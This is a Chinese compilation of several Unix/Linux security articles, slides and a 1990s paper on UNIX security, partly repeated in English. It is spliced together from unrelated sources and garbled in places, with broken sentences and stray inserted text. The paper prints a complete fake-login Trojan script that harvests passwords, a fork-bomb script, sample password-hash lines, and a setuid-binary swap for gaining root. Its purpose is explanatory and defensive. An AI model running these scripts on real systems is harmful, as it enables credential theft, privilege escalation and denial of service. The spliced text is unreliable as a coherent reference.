UnixLinux系统的安全性概述
UNIX系统的安全性

7.8.3 UNIX系统的安全性参照OSI和TCP/IP协议的层次结构,可将UNIX的安全体系结构描述分成五个层次:①策略层:主要负责进行安全策略的需求分析、安全方针的制定以及安全策略的制定:②用户层:主要是负责网络设备的人员,这对于UNIX多用户环境下的应用进程也算在其中。
③主机层:包括计算机互联设备,如路由器、单一的UNIX主机等。
④包过滤层:对应用OSI的三层,通过用户层的进程和包过滤规则对IP包进行过滤。
一般的包过滤算法是采用查一张规则表来实现,它根据条件/动作这样的规则序列来判断是前向路由还是弃包。
⑤物理连接层:包括进行网络物理连接的设备,对应于OSI的第1、2层;网络中的各种加密设备等。
对于网络信息的机密性和完整性,可以在网络上通过加密措施来实现对于UNIX这样的分布式操作系统,要保证UNIX系统的安全性,必须从系统角度来考虑,以解决UNIX系统的多级安全互通问题。
对此,可采用多级安全的Socket来编程,实现多级安全的UNIX文件,进行网络的安全互通。
UNIX系统具有良好的安全性,按照可信计算机评价标准,可达到C2级标准。
按照C2 安全标准,它需要提供以下安全特征:(1)操作可靠性。
它用于保证系统的完整性,系统处于保护模式下,通过硬件和软件保证系统操作的可靠性。
(2)自主型访问控制。
允许用户改变安全级别和访问权限,系统有一个访问控制表(ACI)。
暮,系统有一个访问控~(3)对象的可用性。
当对象不再需要时,在它回到自由对象之前,必须被TCB清除。
(4)个人身份标识与验证。
它主要是为了确定用户的真实身份,如果用户登录时它采用扩展的DES算法对输入的Password进行加密。
(5)审计追踪。
它要求对使用身份标识和验证机制,文件的创建与修改、系统的管理的所有操作,以及其他有关的安全事件进行记录、以便系统管理员进行安全跟踪。
(6)网络文件系统。
UNIX系统还提供了分布式文件系统的网络管理。
Linux操作系统的安全性

Linux操作系统的安全性Linux操作系统的安全性是有目共睹的,相比Windows操作系统,到底Linux有哪些过人之处?这里我们就抛砖引玉,挑选三点重要的特点给大家说明,为什么说Linux操作系统安全性有其他系统无可比拟的优越性。
1、用户/文件权限的划分用户权限在Windows操作系统里也不陌生,但是Linux操作系统的用户权限和文件权限要比Windows操作系统里严格有效。
比较明显的一个案例就是,即便是你在Windows操作系统里设置了多用户,但是不同的用户之间通过一定的方式,还是能够互访文件的,这就失去了权限的意义。
LINUX文件权限针对的对象分三类(互斥的关系):1. user(文件的拥有者)2. group(文件拥有者所在的组,但不包括user)3. other(其它用户,即user和group以外的)LINUX用一个3位二进制数对应着文件的3种权限(1表示有该权限,0表示无):第1位读r 100 4第2位写w 010 2第3位执行x 001 1查看权限#ls -l第一列,一共10位(drwxrwxrwx),就代表了文件的权限:1)第一个d代表是一个目录,如果显示“-”,则说明不是一个目录2)2-4代表user的权限3)5-7代表group的权限4)8-10代表other的权限对于后9位:r 代表可读(read),其值是4w 代表可写(write),其值是2x 代表可执行(execute),其值是1- 代表没有相应权限,其值是0修改文件权限# chmod [ugoa][+-=][rwx] 文件名1)用户u 代表userg 代表groupo 代表othera 代表全部的人,也就是包括u,g和o2)行动+ 表示添加权限- 表示删除权限= 表示使之成为唯一的权限3)权限rwx也可以用数字表示法,不过很麻烦要自己算,比如rw=6常见权限-rw——(600)只有所有者才有读和写的权限-rw-r——r——(644)只有所有者才有读和写的权限,组群和其他人只有读的权限-rwx——(700)只有所有者才有读,写,执行的权限-rwxr-xr-x (755)只有所有者才有读,写,执行的权限,组群和其他人只有读和执行的权限-rwx——x——x (711)只有所有者才有读,写,执行的权限,组群和其他人只有执行的权限-rw-rw-rw- (666)每个人都有读写的权限-rwxrwxrwx (777)每个人都有读写和执行的权限,最大权限。
Linux系统的安全性和常见安全问题解析

Linux系统的安全性和常见安全问题解析Linux操作系统是一种广泛应用于各种设备和服务器的开源操作系统。
由于其开放性和安全性,Linux系统在许多领域被广泛使用。
本文将对Linux系统的安全性和常见安全问题进行解析。
一、Linux系统的安全性Linux系统之所以被认为是安全的,有以下几个原因:1. 开源性:Linux系统的源代码是公开的,任何人都可以审查和修改它。
这样的开放性使得漏洞和安全问题可以更快地被发现和修复。
2. 权限管理:Linux系统采用了严格的权限管理机制,通过用户和组的设置来限制不同的用户对系统资源的访问。
只有拥有相应权限的用户才能执行敏感操作,其他用户则无法干扰系统的安全。
3. 读写权限:Linux系统通过对文件和目录的读写权限进行控制来保护系统的安全。
只有具有相应权限的用户才能对文件进行操作,其他用户只能读取或执行文件。
4. 隔离性:Linux系统通过使用虚拟化技术和容器化技术来实现不同应用之间的隔离。
这样一来,即使一个应用程序被攻击,其他应用程序和系统依然可以保持安全。
二、常见安全问题及解决方法尽管Linux系统相对较为安全,但仍然存在一些常见的安全问题,需要我们关注和解决。
1. 弱密码:一个常见的安全问题是用户设置弱密码。
为了避免这个问题,用户应该设置包含大小写字母、数字和特殊字符的复杂密码,并定期更换密码。
2. 漏洞利用:即使Linux系统经常进行更新和修复,仍然存在一些漏洞可能被黑客利用。
为了解决这个问题,用户应该始终保持系统更新,并安装常见的安全补丁。
3. 权限不当:一个常见的错误是给予用户过多的权限,从而可能导致系统被攻击或滥用。
用户和管理员应该根据需要来分配权限,并定期审查和更新权限设置。
4. 网络攻击:Linux系统可能会受到来自外部网络的攻击,如DDoS攻击、端口扫描等。
为了防止这类攻击,用户应该启用防火墙、网络入侵检测系统等安全措施。
5. 病毒和恶意软件:虽然Linux系统相对于Windows系统来说更不容易受到病毒和恶意软件的感染,但仍然需要安装杀毒软件和定期进行系统扫描。
UNIX安全机制

5.1.2Unix/Linux安全机制Unix/Linux是一种多用户、多任务的操作系统,因而,Unix/Linux操作系统基本的安全功能需求就是不同用户之间避免相互干扰,禁止非授权访问系统资源。
下面介绍Unix/ Linux系统的主要安全机制。
1.Unix/Linux认证认证是Unix/Linux系统中的第一道关卡,用户在进入系统之前,首先经过认证系统识别身份,然后再由系统授权访问系统资源。
目前,Unix/Linux常用的认证方式如下。
(1)基于口令的认证方式基于口令的认证方式是Unix/Linux最常用的一种技术,用户只要给系统提供正确的用户名和口令就可以进入到系统。
(2)终端认证在Unix/Linux系统,还提供一个限制超级用户从远程登录的终端认证。
(3)主机信任机制Unix/Linux系统提供一个不同主机之间相互信任机制,这样使得不同主机用户之间无需系统认证就可以登录。
(4)第三方认证第三方认证是指非Unix/Linux系统自身带有的认证机制,而是由第三方提供的认证。
在Unix/Linux中,系统支持第三方认证,例如一次一密口令认证S/Key、Kerberos认证系统、插件武身份认证PAM(Pluggable Authentication Modules)。
2.Unix/Linux访问控制普通的Unix/Linux系统一般通过文件访问控制表ACL来实现系统资源的控制,也就是常说的“9bit”来实现。
例如,某个文件的列表显示信息如下:-rwxr-xr-1 test test 4月9日17:50 sample. txt由这些信息看出,用户test对文件sample. txt的访问权限有“读、写、执行”,而test 这个组的其他用户只有“读、执行”权限,除此以外,其他用户只有“读”权限。
3.Unix/Linux日志/审计审计机制也是Unix/Linux系统安全的重要组成部分,审计有助于系统管理员及时发现系统入侵行为或潜在的系统安全隐患。
《Linux系统安全》课件

01
最小权限原则
只给予用户和应用程序执行任务 所需的最小权限,避免权限的过 度分配。
加密原则
02
03
更新和维护原则
对重要数据和通信进行加密,确 保数据在传输和存储时的安全性 。
及时更新系统和软件,定期进行 安全检查和维护,以修复已知的 安全漏洞。
02
Linux系统用户和权限管理
用户账号管理
用户账号的创建与删除
应用程序日志文件
如Web服务器的访问日志、数据库 的查询日志等,记录应用程序的运行 情况和用户行为。
安全日志文件
如/var/log/auth.log、 /var/log/secure等,记录与系统安 全相关的操作和事件。
自定义日志文件
根据实际需求,可以自定义日志文件 来记录特定的事件或操作。
异常行为检测与应对
03
Linux系统防火墙配置
iptables防火墙配置
总结词
iptables是Linux系统中最常用的防火墙工具,用于配置网络数据包的过滤规则。
详细描述
iptables通过定义一系列的规则来控制网络数据包的进出,从而实现网络安全防护。用户可以根据实际需求配置 不同的规则,例如允许特定IP地址访问、禁止某些端口通信等。
灾难恢复计划
制定在发生灾难时恢复数据和系统的流程和 步骤。
测试与演练
定期测试灾难恢复计划以确保其有效性和可 行性。
数据安全审计
定期审查数据安全策略和措施,确保其符合 组织的安全需求和标准。
06
Linux系统安全审计与日志分析
安全审计工具使用
日志审计工具
用于收集、分析和报告系统日志的工具 ,如Logwatch、Snoopy等。
三个细节体现Unix操作系统安全性

另外值得一提的是,在用户登录时,Unix系统还跟其他操作系统一样,提供了一种更高级别的安全措施。即当用户登录到Unix系统时,根据系统安全策略,可以让用户强制更改管理员所赋予的口令。此时用户最好能够立即更改默认口令,设置一个只有自己知道的口令(连管理员可能都不知道)。毕竟账户名或者口令若太多人知道的话,会给操作系统带来一定的安全隐患。
所以从这个date命令中就可以看出,Unix系统在安全设计上确实比其他操作系统ix系统在安全与便利上达到了同一。
二、不提示具体的出错信息。
Unix系统跟其他操作系统一样,也是通过账户名与密码来保证操作系统的基本安全性。但是,笔者认为Unix在这方面可能考虑的更全面一点。
三、输出中不带有相应的表头。
利用命令who可以显示当前登陆用户的详细信息,如用户名、登陆的途径、登陆时间等内容。在Linux系统中也有类似的功能。不过两个系统有差异。
这个结果表示当前系统的登陆者有两个,都为Oracle(操作系统允许同一个账户通过不同的渠道登陆到操作系统,这也是Unix系统的一个特性。在Linux操作系统中也可以实线类似的功能,但是在微软操作系统中好像不行。后面会显示用户登录的途径、登陆系统的时间等等。但是让很多Unix系统的初学者感到困扰的就是,在输出结果中竟然没有一个相应的表头来说明各个列的含义。这一点可能让人看起来觉得Unix操作系统不怎么友好,但是却可以保障Unix系统的安全性。如一些Unix系统的高级安全策略都是基于这个特性所实现的。
UNIX系统安全

UNIX系统安全本文首先讨论了UNIX系统的一些安全保护机制: 1.注册标识和口令是UNIX系统安全性方法的核心; 2.文件安全是操作系统安全最重要的部分, UNIX系统的每一文件都有一系列控制信息决定了不同的用户对该文件的访问权限; 3.约束SHELL规定标准SHELL的一些命令无效, 如改变路径和重定向命令无效; 4.文件加密是保护用户重要文件不被他人盗取的一种必要手段.然后探讨了一些不安全的因素: 1.口令, 非法用户可通过未使用口令或口令泄密了的用户注册标识进入系统, 或者编写口令猜测程序获取其他用户甚至超级用户口令, 从而读取或破坏用户文件; 2.文件, 设置了不正确权限的文件是不安全的一个重要因素; 3.特洛伊木马, 是获取系统特权和用户口令的一种有效方法, 也许是最隐蔽的不安全因素; 4.设备特殊文件, 包括块设备和字符设备; 5.网络, 由于历史的原因, 它可能是UNIX系统中最不安全的部分; 6.其它, 如邮件, 后台命令, 任务调度和游戏等.最后提出了系统管理员和用户必须采取的一些安全措施.UNIX系统安全UNIX系统是为支持多用户而设计的, 故为多用户提供了访问机器的多种途径, 同时也为用户之间和多机之间通信提供了多种工具, 然而在当今世界上出于各种目的, 未授权人员常常打入计算机系统. 当我们越来越依赖于UNIX机器以及机器中的文件和数据时, 系统安全性也随之变得越来越重要, 虽然可以采取措施阻止非法访问, 但是一种复杂操作系统的自然趋势是时间越久安全性越差, 我们必须警惕安全性缺陷, 及时堵塞漏洞, 保护系统. 下面首先讨论UNIX的安全保护机制, 然后探讨一些不安全的因素, 最后提出相应的安全措施.I. UNIX的安全保护机制UNIX系统最初是为完全共享机器的小单位设计的, 没有严格限制任何用户对其他用户的文件命令的访问, 甚至对访问UNIX系统正常工作所需要的最敏感数据也不加限制. 随着时间的推移, 人们对安全性的看法发生了根本性的变化.现代UNIX系统和多数操作系统一样可靠. 如注册标识和口令, 文件权限及约束SHELL等保护机制的综合运用, 有效地保护了整个系统的安全.1. 注册标识和口令UNIX系统中, 安全性方法的核心是每个用户的注册标识(loginid)和口令(password). 要成功注册进入UNIX系统, 必须打入有效的用户标识, 一般还必须输入正确的口令. 口令是以加密形式存放在/etc/passwd文件中, 每个用户占一行, 另外几个系统正常工作所必需的标准系统标识也占一行. 每行由几个以冒号(:)分隔的域组成: 域1是用户标识, 域2是口令, 域3是用户标识数, 域4是用户组标识, 域5是注释, 域6是用户主目录, 最后一个域是用户注册shell的路径全名(缺省为/bin/sh).%cat/etc/passwsroot:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/cshdaemon:*:1:1::/:sys:*:2:2::/:/bin/cshbin:*:4:8::/var/spool/uucppublic:news:*:6:6::/var/spool/news:/bin/cshsync::1:1::/:/bin/syncwwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh+::0:0:::早期UNIX版本中, 域2以加密形式放置用户的实际口令. 而SVR3的近期版本却引入了一个仅含加密后口令的文件即/etc/shadow. 它存放每个用户的标识及加密后的口令, 描述最后一次修改口令的时间, 允许修改口令的最早期限和必须修改口令的最晚期限. /etc/shadow中的行与/etc/passwd中的行对应./etc/shadow文件由命令pwconv生成. 手工修改/etc/passwd文件后, 必须立即运行pwconv, 保证/etc/shadow按照刚进行过的修改更新. 只有超级用户可对/etc/passwd和/etc/shadow进行修改.另外, 有些UNIX版本还显示最近一次使用用户标识的情况. 注册时显示:login : wwmpassword:Login last used : Fri Aug 7 22:24:41 CDT 1993如果显示时间晚于用户记忆中自己最近使用的时间, 则该标识就被别人占用过了, 该用户应立即修改口令.命令passwd改变口令, 一个口令至少要有6个字符长, 其中至少一个(最好两个)是非字母符号, 最好大小写混用和采用超常或非直觉字符序列, 不能容忍的平凡口令是用户的注册标识, 工程项目名, 地名或电话号码等.2. 文件权限文件安全是操作系统安全最重要的部分, UNIX系统每一文件都有一系列控制信息决定了不同的用户对该文件的访问权限. 下面是文件的权限位格式:U G T R W X/S R W X/S R W X/S| | | 用户同组其他调调粘整整着R: 读W: 写X/S : 执行/搜索主组位它们由四个八进制数组成: 第一个八进制数是调整uid位, 调整gid位和粘着位, 后面三个八进制数分别表示文件所有者, 同组用户和其他用户对该文件的访问权限. 下面是命令ls -l的输出形式:drwxr-sr-x 3 root 512 Oct 14 1990 nserve-rw-r--r-- 1 root 1145 Oct 14 1990 aliaseslrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/admsrw-rw-rw- 1 root 0 Apr 12 06:42 logbrw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0acrw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse命令ls-l输出的左边给出了文件的访问权限或Yes黑客联盟访问方式, 其中最左边位含义为:- 说明为普通文件l 说明为链接文件d 说明为目录p 先进先出特别文件b 说明为块特别设备文件c 说明为字符特别设备文件系统提供了专门处理文件和目录的所属关系和访问权限问题几个命令:chown: 可以将文件所属转让chgrp: 改变文件所属小组chmod: 改变文件访问权限3. 约束shell标准shell提供用户许多功能, 如用户可在文件系统中漫游等, 然而几乎所有UNIX系统都提供另一个Yes黑客联盟为rsh的shell, rsh是标准shell的一个子集:. rsh规定目录改变命令无效. 包含字符"/", ">"和">>"的命令无效. 不能改变文件路径变量$PATH的值等但当rsh的用户在运行一个shell程序时, rsh将调用标准shell全权执行程序中的所有命令, 这时上述rsh的限制将不起作用. 因此, 更灵活的限制手段是由系统管理员编制一个专用的shell程序, 取代标准shell程序, 用户注册后即进入该shell, 程序执行终了时立即自动退出系统, 从而达到对一些用户进行严格管理和限制的目的.4. 文件加密正确的文件权限能限制非法用户对文件的访问, 但不能排除一些高明的入侵者和超级用户读取文件.ed, vi和emacs这类编辑程序选项-x提供一种生成并加密文件的能力, 在装入时对文件解密, 回写时再加密.UNIX系统还提供加密解密过滤程序crypt, 该命令从标准输入读, 向标准输出写. 有的系统还提供DES命令, 遗憾的是人们对UNIX的加密算法了解太深, 有一种打破crypt的程序是分析普通英语文本中和加密文件中字符的出现频率,因此, 过分相信文件加密是危险的, 但我们可以在加密前用另一个过滤程序改变字符出现的频率, 如用pack:%pack example.txt%cat example.txt.z | crypt >out.file解密时要扩张(unpack)这一文件, 另外压缩后通常可节约占原文件20%到40%的空间.%cat out.file | crypt >example.txt.z%unpack example.txt.z当然, 将文件写软盘或磁带上, 删除机器中的原文件, 妥善保管磁介质是最保险的方法.II. 不安全的因素前面我们讨论了UNIX的安全保护机制, 这些机制是有效的, 但并非是十分安全的, 关键是系统管理员和用户没有合理地运用这些机制.1. 口令由于UNIX允许用户不设置口令, 因而非法用户可通过/etc/passwd文件查出未使用口令的用户(或者即使设置了口令, 却泄露了出去), 盗用其名进入系统, 读取或破坏该用户的文件.另外就是口令猜测程序了, 入侵者不断地输入可能的口令(或者由程序产生), 进行加密并和/etc/passwd文件中的口令密文比较, 直到成功地获得某一用户的口令为止. 虽然这比较费时, 但由于用户在选择口令时的局限性, 成功的例子还是很多的.2. 文件我们正确设置文件权限, 某些设置可以增加文件的不安全因素, 让我们看几个设置了不正确权限的文件的例子:-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/ttydrwxrwxrwx 7 bin 2048 Aug 7 07:57 etc-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df命令/bin/tty任何用户都有写许可, 意谓着谁都可以直接修改此命令或用另一文件替换此命令, 这往往会造成严重的后果.目录/etc对所有用户有写许可, 则任意用户可修改或替换该目录下的passwd 文件, 可以使超级用户没有口令, 从而以特权身份侵入系统./bin/df是调整uid的, 对该命令有写许可, 则用户可以用/bin/sh替换此df命令, 然后执行(实际是/bin/sh)即获得超级用户特权.从以上例子可看出, 文件的写权限往往是不安全的因素, 对于目录和使用调整位的文件来说更是危险.3. 特洛伊木马也许最隐蔽的不安全因素是特洛伊木马, 它是获得系统特权和用户口令的一种有效方法. 让我们看下面例子:#! /bin/sh# trap V1.o 1992.3.28# Function: Get the other user's password# Usage: trap pidif [ $# -ne 2 ]; thenecho "ERROR: invalid numbers of arguments"echo "Usage: trap pid"exit 1ficlear# change interrupt character. The default is DEL.stty instr +while [ 1]doecho -n ":V& login: "read usernameif[ "$username" != "" ]; thenbreakfidonestty -echoecho -n "Password: "read passwdecho ""echo $username $passwd >> /f/wwm/tmp/loginsleep 1echo "Login incorrect"stty echo# reset default interrupt character DEL (^?).stty intr# logout yourself username.kill -9 $1# OK.上面的shell程序伪装成录入程序, 非法用户在某终端上运行该程序后走开, 等待受骗者的到来, 就可轻易窃走该用户的口令.另外一些常见的情形是侵入者在某用户的一个目录下植入洛伊木马程序,一旦该用户在此目录下执行此程序, 侵入者便可以获取该用户权限, 进而破坏用户文件, 如伪装的pwd命令, ls命令和su命令等.4. 设备特殊文件UNIX系统的两类设备(块设备和字符设备)被当作文件看待, Yes黑客联盟为特别文件, 都在/dev目录下, 对于特别文件的访问, 事实上就访问了物理设备. 这些特别文件是系统安全的一个重要方面.1) 内存对物理内存和系统虚空间, System V 提供了相应的文件/dev/mem和/dev/kmem,mem是内存映象的一个特别文件, 它可以用于检验(甚至修补)系统. 若该文件用户可改写, 则可在其中植入洛伊木马或通过读取和改写主存内容而窃取系统特权.2) 块设备由于文件系统的操作自然牵涉到块设备的读写, UNIX System V对块设备的管理分为三层, 最高层是与文件系统的接口, 包括块设备的各种读写操作.例如磁盘, 如果一旦对盘有访问权限, 就可以修改其上的文件, UNIX允许安装不同的盘作为文件系统, 非法用户可以通过安装自己的软盘作为文件系统, 而其软盘上有修改后的系统文件, 如一些属于root的setuid程序, 这样他就可以安装自己的文件系统, 执行非法的setuid程序, 获取更高的特权.3) 字符设备例如终端设备, 在UNIX中, 每个用户都通过终端进入系统, 用户对其录入的终端有读写权限. 由于UNIX对文件权限的检查往往只在打开操作(open系统调用)时进行, 其后的操作往往不再检查, 因此某些用户进入系统后可以编写一监测程序, 读取其后用户录入该终端的输入信息.5. 网络UNIX的网络程序主要是uucp(UNIX to UNIX copy), uucp可以在UNIX系统之间传输文件和远程执行命令. 由于历史的原因, 它可能是UNIX系统中最不安全的部分.一种情况是用户可以使用uucp复制远程系统的/etc/passwd文件, 查出未使用口令的用户, 从而通过该用户进入远程系统; 另一种情形是在uucp机制中未加密的远程uucp号的口令存在一个普通系统文件/usr/lib/uucp/L.sys中,非法用户在窃取root权限后通过读取该文件而获得每一远程uucp帐号的口令,进而破坏远程系统.6. 其它1) 邮件在BSD, SUNOS等版本中, 实用程序/bin/mail首先调用mktemp()得到临时文件, 然后判断是发信还是读信. mail进程在得到文件名后打开文件写以前, mail进程可能会因为时间片用完而被迫放弃CPU, 这时其它进程占据CPU后, 可将某些重要的系统文件与临时文件链接, 等到mail再次运行时, 它要写入的临时文件实际上已变成系统文件(如/etc/passwd), 这样就可轻易篡改系统文件.2) 后台命令shell提供操作符&使用户在后台运行命令, UNIX系统允许用户建任意多个后台进程, 直到系统核心内部说明的最大值, 但远未达到这一极限之时, 系统性能即开始受损. 遗憾的是, 很多UNIX版本的ps命令不能很好地反映后台进程的状态. 下面是一个非常简单的shell程序:% cat call-selfcall-self% call-self &投入后台方式运行后, 将产生永无休止的进程, 即使是root也无法用kill命令终止它, 只有直至系统崩溃. 如果按如下方式运行, 情况又将如何?% cat call-selfcall-self &% call-self &3) 任务调度为使多进程都能够公平访问机器的单CPU, 操作系统内的分时机构必须在某一进程耗尽应分享的CPU资源后切换至另一进程, UNIX提供了计时和调度工具, 如at和batch命令. 如果对授权用户清单文件/usr/lib/cron下的at.allow和at.deny文件权限设置不对, 未授权用户可能就会对系统造成极大的破坏.另外, 还有如游戏, 很多游戏程序产生一些中间文件, 有些病毒程序和入侵者就可能会从这些文件侵入. 因此, 我们也必须对游戏提高警惕.III. 安全措施保护系统安全需要多方面的努力, 首先系统设计人员不断增强操作系统的安全性, 增加安全性检查, 提供更安全的系统版本和更多的安全检测工具; 其次, 系统管理员和用户都必须明确自己的职责, 共同保证系统安全.1. 系统管理员系统管理员担负着维护整个系统安全的重要使命, 必须谨慎地管理系统:1) 正确设置系统文件和系统目录的访问权限2) 选择root口令, 并定期更换. 认真确定root用户组权限, 制止不合法用户申请帐号3) 经常检查sulog文件, 查找可能的入侵者踪迹4) 检查/usr/lib/crontab文件内容, 防止有人蓄意破坏文件系统或埋植特洛伊木马5) 仔细认可用户安装自己的文件系统6) 对于网络环境:. 防止信息内容泄露. 防止通信量分析. 检查信息源的修改. 检查设备错误. 检查连接请求的冒充2. 用户用户要保证自己的信息, 必须充分正确地运用安全保护机制:1) 选择好口令, 并保存好, 定期更换2) 仔细设置.profile, umask和PA TH3) 对重要正文使用加密, 并做好备份4) 在通过终端录入系统时, 最好先清一下终端, 防止有诈5) 离开终端时, 一定要退出系统参考文献:[1] Stephen Coffin, UNIX使用大全, 电子工业出版社, 1991[2] 艾瑞云, 计算机操作系统安全问题, 计算机世界报, 1992.3.4[3] 朱鲁华, UNIX安全浅谈, 计算机世界报, 1990.12.5[4] 周尚德, UNIX的一个漏洞及分析, 电脑应用时代, 1992.1[5] 郭伟坚, 几种UNIX文件的安全保密方法, 计算机世界报, 1990.12.5[6] SUN microsystems, SunOS Reference Manual, 1991[7] 胡希明等, UNIX结构分析, 浙江大学出版社, 1991.2UNIX SECURITYWei Weiming[ABSTRACT]In this paper, we first introduced the basic mechanism of the securityin the UNIX system: 1) The cores of methods for system security arelogin-id and password for every user; 2) File-security is the mostimportant part of OS-security; 3) It is a considerable method that restricting to abuse shell;4)File-encryption is a necessary method for protecting important files.Them we discussed some insecurity factors of UNIX: 1) Unreliable restriction by password; 2) Files which permission be set up unsuitably; 3) Trojan horse which be used to steal system privilegedand user's password; 4) Device special files; 5) Network.UUCP of UNIX may be the most insecurity part of system; 6) Others.Finally, we suggest several steps to enhance system security forsystem administrator and general users.UNIX SECURITYUNIX is designed as a multi-user system which provides various waysfor users to visit the computer system and also provides various toolsfor users and computers to communicate with each other. Although all these facilities offer great convenience for users, they leaves the possibility for some unauthorized or illegal entries to the computer system which might cause great damage to the information in the computer and the computer system itself. So the security of the computer system become very important especially as we are more and more relying on the files and data in the computer. We do can take some measures to prevent the illegal entry to the computer,however,the longer the computer system is used, the less security it will be. We should keep an eye on thesecurity of the system and find any possible shortage of it so that we could keep the system perfect security.In this paper,we first introduce the basic mechanism of the securityin the UNIX system, then we will discuss some factors which could lead to the insecurity of the system and suggest some correspondent methodsto prevent them.I. THE MECHANISM OF UNIX SECURITYUNIX was primarily designed for users to share the system completely, there were not any limitation for user to access to other users file,any user could even visit the most sensible data which made the system's normal running possible. Now people's views about security has changed greatly, and modern UNIX system has become as safe and reliable as most of other operation systems, for example, it offers loginid and password, the permission to access the file and restricted SHELL, etc., which protect the system effectively.1. Loginid and passwordIn UNIX system, the keen step to keep safe is to demand the loginid and password of every user. To login successfully, one has to enter acceptable loginid and proper password in general. The encrypted passwords possessed one line in the file /etc./passwd, each line is devide into several fields by (;), field 1 is the userid, field 2 isthe passwd, field 3 is the number of userid, field 4 is the group id,field 5 is the interpretation, field 6 is the main directory of userand the last field is the full pathname used to login to SHELL byuser(default:/bin/sh).%cat/etc/passwdroot:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/cshdaemon:*:1:1::/:sys:*:2:2::/:/bin/cshbin:*:4:8::/var/spool/uucppublic:news:*:6:6::/var/spool/news:/bin/cshsync::1:1::/:/bin/syncwwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh +::0:0:::Figure 1. file /etc/passwdIn early UNIX versions, field 2 is user's current encrypted password, recent version SVR3 create a file /etc/shadow which contains the encrypted passwords. It stores every userid and the encrypted password and prompt the time of last modification of password and the earliest deadline permitted to modify the password and latest deadline when the password must be modified. The line in /etc/shadow is correspondent to the line in /etc/passwd/etc/shadow is produced by command 'pwconv'. After modifying file /etc/passwd, running of command 'pwconv' is essential so that /etc/shadow can be renewed according to the just modified /etc/passwd. Only super user is allowed to modify /etc/passwd and /etc/shadow.Some other UNIX versions could show information about using the userid. When logging, is shows:login:wwmpassword:Login last used: Fri. Aug. & 22:24:41 CDT 1992Figure 2. login historyIf the time showed is later than the latest time user used thelogin, this userid must has been used by other user illegally. Theuser must change the password immediately.Password can be changed by command 'passwd'. A password should be at least six characters long and it will be better is the passwordincludes one or two nom-character sign and combines upper-case and lower-case letters and adopt abnormal character sequence. some bad choices of passwords are userid, project name, address and telephone numbers.2. File permissionThe security of the files is the most important part of the operating system. For each file in UNIX system, there is a series of information which decide the visiting permission of different user.U G T R W X/S R W X/S R W X/SU: user group otherG: R: readable W: writeable X/S: executable/searchableT: -: the permission is not grantedFigure 3. Character format of the file permissionThey consist of four octadic digits. The first is adjusting the Uidbit, adjusting Gid bit and sticking bit, the others are the permissionof the file's owner in same or different group.drwxr-sr-x 3 root 512 Oct 14 1990 nserve-rw-r--r-- 1 root 1145 Oct 14 1990 aliaseslrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/admsrw-rw-rw- 1 root 0 Apr 12 06:42 logbrw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0acrw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouseFigure 4. List file and directory with ls -lThe left of the output of command ls -l (long listing) is the- entry is a plain filel entry is a symbolic linkd entry is a directoryp entry is a FIFO (also known as "named pipe") fileb entry is a block special filec entry is a character special files entry is an AF_UNIX address family socketThe system provides several commands which process the relation between files and directory and visiting permission.chown: change ownerchgrp: change groupchmod: change mode3. Restricted shellThe standard shell has many functions such as the user roaming inthe file system. However, almost all of UNIX system have another shell called rsh(restricted shell) from the standard shell:. change directory is invalid in rsh. command include '/', '>' and '>>' is invalid.. the value of $PATH can not be changedWhen a shell program is running, the rsh will call the standard shellto excute all commands while the restriction of rsh is unacted. Thus,a better restriction is that the standard shell is replaced with special program compiled by system manager for the strict management and restriction to some users by the way of which the user enters the shell immediately after login and quits automatically immediately after the execution over.4. Encrypt the fileThe correct permission prevent an illegal user from visiting, but cannot prevent a clever user or a super user from reading or writing.The item -x from the edit program such as ed, vi and emacs providesa function being able to proc\duce and editing the encrypted file. When loaded, the file decrypted, when rewrite the file encrypted again.UNIX system also provides program crypt, the program of encryption and decryption from standard input to standard output. Some systemscan provide DES command (Encrypt or decrypt data using data encryption standard). The regret is that encryption in UNIX system is widely known. For example: An encryption program can analysis the frequency of the letters appear in the English novel and that of the letters appear inthe encryption file. So, it is danger to believe the encrypted file entirely. However, we can change the frequency of the letters with another filter program.e.g. pack%pack example.txt%cat example.txt.z | crypt >out.fileUnpack the file when decrypted. After packed, the space can besave 20%-40%.%cat out.file | crypt >example.txt.z%unpack example.txt.zOf course, the best way is that canceling the file after beingwritten on disk or tape and then keeping the magnetic media carefully.II. INSECURITY FACTORSAbove we talk about the mechanism of UNIX security. The mechanism is valid, but not safe completely because the system manager and user utilize the mechanism unreasonable.1. PasswordBecause UNIX permits the user not to install password, the illegal users can enter the system to read and write or destroy the file by usurping the user's name without password (or even set a password, but reveal) which can be found from the file /etc/passwd.Another way is to guess the password. The invaders input the possible password(or produce by excuting a program) continuously, encrypt and compare with the password file in /etc/passwd until successfully toget a password. Although this may waste time, there are many successes because of the limit passwords.2. FileWe must setup the file permission correctly. Some setup can add unsafe factors. Bellows are some examples of incorrect permission:-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/ttydrwxrwxrwx 7 bin 2048 Aug 7 07:57 etc-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/dfFigure 5. The incorrect permission of the file being setupAny user is permitted to write the command /bin/tty, which means that anyone can modify this command directly or replace the command with another file. So, the consequences would be disastrous.All users are permitted to write the directory of /etc, and any usercan modify or replace the password file under the directory to let the super user loose password, thus invading system as privileged dignity. The privileged dignity of the super user can be obtained by excuting/bin/df (in fact /bin/sh) replaced with /bin/sh which adjusts uid andis permitted to be written.From the above, we can see that the permission of the files is afactor of unsafe. It is danger for directory and the files using adjusting bit.3. Trojan horseMaybe the most covered factor of insecurity is Trojan horse, which is an effective method to obtain the system privilege and user's password. Following is an example:#! /bin/sh# trap V1.o 1992.3.28# Function: Get the other user's password# Usage: trap pidif [ $# -ne 2 ]; thenecho "ERROR: invalid numbers of arguments"echo "Usage: trap pid"exit 1ficlear# change interrupt character. The default is DEL.stty instr +while [ 1]doecho -n ":V& login: "read usernameif[ "$username" != "" ]; thenbreakfidonestty -echoecho -n "Password: "read passwdecho ""echo $username $passwd >> 